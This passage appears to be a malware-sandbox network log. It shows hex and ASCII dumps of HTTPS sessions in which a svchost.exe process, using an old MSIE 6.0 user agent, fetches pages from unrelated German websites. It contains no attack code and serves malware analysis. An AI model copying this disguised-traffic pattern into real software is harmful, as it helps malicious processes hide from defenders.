2023-07-27 19:54:11 UTC	5392	IN	Data Raw: 32 2e 38 2c 30 2c 30 2c 31 2c 35 30 38 2c 31 39 33 61 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 31 32 2c 31 38 36 2e 37 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d Data Ascii: 2.8,0,0,1,508,193a2.62,2.62,0,0,1,3.37,0,2.45,2.45,0,0,1,.19,3.32"></path><path class="cls-9" d="M512,186.79a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M
2023-07-27 19:54:11 UTC	5408	IN	Data Raw: 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 34 37 2e 35 31 2c 32 36 36 2e 34 36 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 34 37 2e 32 34 2c 32 35 38 2e 33 38 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 Data Ascii: 33"></path><path class="cls-9" d="M547.51,266.46a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.63,2.63,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M547.24,258.38a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.8
2023-07-27 19:54:11 UTC	5424	IN	Data Raw: 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 38 32 2e 38 2c 33 33 38 2e 30 35 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 Data Ascii: 0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.45,2.45,0,0,1,.18,3.32"></path><path class="cls-9" d="M582.8,338.05a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"></path><path
2023-07-27 19:54:11 UTC	5440	IN	Data Raw: 33 38 2c 33 37 2e 37 35 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 32 2c 32 2e 30 39 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 33 2e 31 33 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 33 33 2e 31 36 2c 33 31 2e 32 37 61 31 2e 35 39 2c 31 2e 35 39 2c 30 2c 30 2c 31 2d 2e 37 32 2c 32 2e 30 38 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 36 39 2c 32 2e 31 2c 32 2e 31 2c 30 2c Data Ascii: 38,37.75a1.61,1.61,0,0,1-.72,2.09,2.37,2.37,0,0,1-3.13-.88,2.25,2.25,0,0,1,.48-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"></path><path class="cls-9" d="M333.16,31.27a1.59,1.59,0,0,1-.72,2.08,2.34,2.34,0,0,1-3.12-.88,2.24,2.24,0,0,1,.47-2.69,2.1,2.1,0,
2023-07-27 19:54:11 UTC	5456	IN	Data Raw: 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 36 31 2e 37 2c 39 35 2e 32 61 31 2e 35 39 2c 31 2e 35 39 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 38 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 36 39 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 36 31 2e 34 38 2c 38 38 2e 37 31 61 31 2e 36 2c 31 2e 36 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c Data Ascii: .67"></path><path class="cls-9" d="M361.7,95.2a1.59,1.59,0,0,1-.73,2.08,2.35,2.35,0,0,1-3.12-.88,2.24,2.24,0,0,1,.48-2.69,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M361.48,88.71a1.6,1.6,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,
2023-07-27 19:54:11 UTC	5472	IN	Data Raw: 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 39 30 2c 31 35 32 2e 36 34 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 38 39 2e 38 2c 31 34 36 2e 31 36 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c Data Ascii: ,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M390,152.64a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M389.8,146.16a1.61,1.61,0,0,1-.73,
2023-07-27 19:54:11 UTC	5488	IN	Data Raw: 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 36 39 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 30 35 2e 36 31 2c 32 38 2e 38 31 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 30 35 2e 33 Data Ascii: .24,0,0,1,.48-2.69,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M405.61,28.81a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M405.3
2023-07-27 19:54:11 UTC	5504	IN	Data Raw: 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2c 34 33 30 2e 33 2c 39 34 61 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2c 32 2e 37 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 33 33 2e 39 33 2c 38 36 2e 32 36 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 38 22 3e 3c 2f 70 61 74 68 3e 3c Data Ascii: 34,2.34,0,0,1,430.3,94a2.24,2.24,0,0,1,.48-2.7,2.09,2.09,0,0,1,2.7,0,2,2,0,0,1,.15,2.67"></path><path class="cls-9" d="M433.93,86.26a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.7,0,2,2,0,0,1,.15,2.68"></path><
2023-07-27 19:54:11 UTC	5520	IN	Data Raw: 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 36 32 2e 32 35 2c 31 34 33 2e 37 31 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c Data Ascii: ,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.15,2.68"></path><path class="cls-9" d="M462.25,143.71a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.11,2.11,0,0,1,2.71,0,
2023-07-27 19:54:11 UTC	5536	IN	Data Raw: 73 2d 39 22 20 64 3d 22 4d 34 37 38 2e 30 35 2c 32 36 2e 33 36 61 31 2e 36 2c 31 2e 36 2c 30 2c 30 2c 31 2d 2e 37 32 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 37 37 2e 38 34 2c 31 39 2e 38 38 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e Data Ascii: s-9" d="M478.05,26.36a1.6,1.6,0,0,1-.72,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"></path><path class="cls-9" d="M477.84,19.88a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.
2023-07-27 19:54:11 UTC	5552	IN	Data Raw: 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 30 36 2e 33 37 2c 38 33 2e 38 31 61 31 2e 36 2c 31 2e 36 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 30 36 2e 31 35 2c 37 37 2e 33 33 61 31 2e 36 2c 31 2e 36 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 Data Ascii: .67"></path><path class="cls-9" d="M506.37,83.81a1.6,1.6,0,0,1-.73,2.09,2.36,2.36,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"></path><path class="cls-9" d="M506.15,77.33a1.6,1.6,0,0,1-.73,2.09,2.36,2.36,0,0,1-3.12-.88
2023-07-27 19:54:11 UTC	5568	IN	Data Raw: 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 33 34 2e 36 39 2c 31 34 31 2e 32 36 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 33 34 2e 34 37 2c 31 33 34 2e 37 38 61 31 2e 36 32 2c 31 2e 36 32 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 Data Ascii: 71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M534.69,141.26a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M534.47,134.78a1.62,1.62,0,0,1-.73,2.0
2023-07-27 19:54:11 UTC	5584	IN	Data Raw: 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 35 30 2e 32 38 2c 31 37 2e 34 33 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 35 30 2e 30 36 2c 31 31 61 31 2e 36 32 2c 31 2e 36 32 2c 30 2c 30 2c 31 Data Ascii: 2.11,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M550.28,17.43a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M550.06,11a1.62,1.62,0,0,1
2023-07-27 19:54:11 UTC	5600	IN	Data Raw: 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 63 61 73 65 2f 77 6f 72 6b 73 2f 6d 61 69 6e 74 65 6e 61 6e 63 65 2e 68 74 6d 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 6f 70 2d 70 65 72 66 6f 72 6d 61 6e 63 65 2d 69 6e 6e 65 72 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2e 2f 69 6d 61 67 65 73 2f 74 6f 70 2f 70 65 72 66 6f 72 6d 61 6e 63 65 2d 69 6d 61 67 65 36 2e 70 6e 67 22 20 61 6c 74 3d 22 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 6f 70 2d 70 65 72 66 6f 72 6d 61 6e 63 65 2d 63 6f 6e 74 65 6e 74 22 3e e9 9b 86 e5 90 88 e4 bd 8f e5 ae 85 3c 62 72 3e e6 b6 88 e9 98 b2 e8 a8 ad e5 82 99 e7 82 b9 Data Ascii: 4"> <a href="case/works/maintenance.html"> <div class="top-performance-inner"><img src="./images/top/performance-image6.png" alt=""> <p class="top-performance-content"><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.4	21182	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:54:32 UTC	5610	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-07-27 19:54:32 UTC	5610	IN	HTTP/1.1 403 Forbidden Date: Thu, 27 Jul 2023 19:54:32 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-07-27 19:54:32 UTC	5611	IN	Data Raw: 32 63 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 27 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 27 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 43 6f 6e 74 65 6e 74 2d 54 79 70 65 27 20 63 6f 6e 74 65 6e 74 3d 27 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 27 3e 3c 2f 68 65 61 64 3e 3c 62 Data Ascii: 2c3<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML 2.0//EN'><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv='Content-Type' content='text/html; charset=utf-8'></head><b

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.4	21191	5.189.171.125	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:54:32 UTC	5611	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.muhr-soehne.de
2023-07-27 19:54:32 UTC	5612	IN	HTTP/1.1 200 OK Date: Thu, 27 Jul 2023 19:54:32 GMT Server: Apache/2.4.38 (Debian) Last-Modified: Fri, 30 Jun 2023 05:41:10 GMT Accept-Ranges: bytes Content-Length: 53069 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8
2023-07-27 19:54:32 UTC	5612	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 64 65 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 21 2d 2d 20 0a 09 6d 61 64 65 20 62 79 20 50 53 56 6e 65 6f 0a 0a 09 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 6f 77 65 72 65 64 20 62 79 20 54 59 50 4f 33 20 2d 20 69 6e 73 70 69 72 69 6e 67 20 70 65 6f 70 6c 65 20 74 6f 20 73 68 61 72 65 21 0a 09 54 59 50 4f 33 20 69 73 20 61 20 66 72 65 65 20 6f 70 65 6e 20 73 6f 75 72 63 65 20 43 6f 6e 74 65 6e 74 20 4d 61 6e 61 67 65 6d 65 6e 74 20 46 72 61 6d 65 77 6f 72 6b 20 69 6e 69 74 69 61 6c 6c 79 20 63 72 65 61 74 65 64 20 62 79 20 4b 61 73 70 65 72 20 53 6b 61 61 72 68 6f 6a 20 Data Ascii: <!DOCTYPE html><html dir="ltr" lang="de"><head><meta charset="utf-8">... made by PSVneoThis website is powered by TYPO3 - inspiring people to share!TYPO3 is a free open source Content Management Framework initially created by Kasper Skaarhoj
2023-07-27 19:54:32 UTC	5628	IN	Data Raw: 69 74 65 6d 20 6c 61 79 6f 75 74 2d 30 20 20 22 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 76 65 72 73 63 68 6c 69 65 73 73 74 65 63 68 6e 69 6b 2f 76 65 72 73 63 68 6c 69 65 73 73 6d 61 73 63 68 69 6e 65 6e 22 20 74 69 74 6c 65 3d 22 56 65 72 73 63 68 6c 69 65 c3 9f 6d 61 73 63 68 69 6e 65 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 56 65 72 73 63 68 6c 69 65 c3 9f 6d 61 73 63 68 69 6e 65 6e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 Data Ascii: item layout-0 "> <a href="/verschliesstechnik/verschliessmaschinen" title="Verschliemaschinen"> Verschliemaschinen </a>
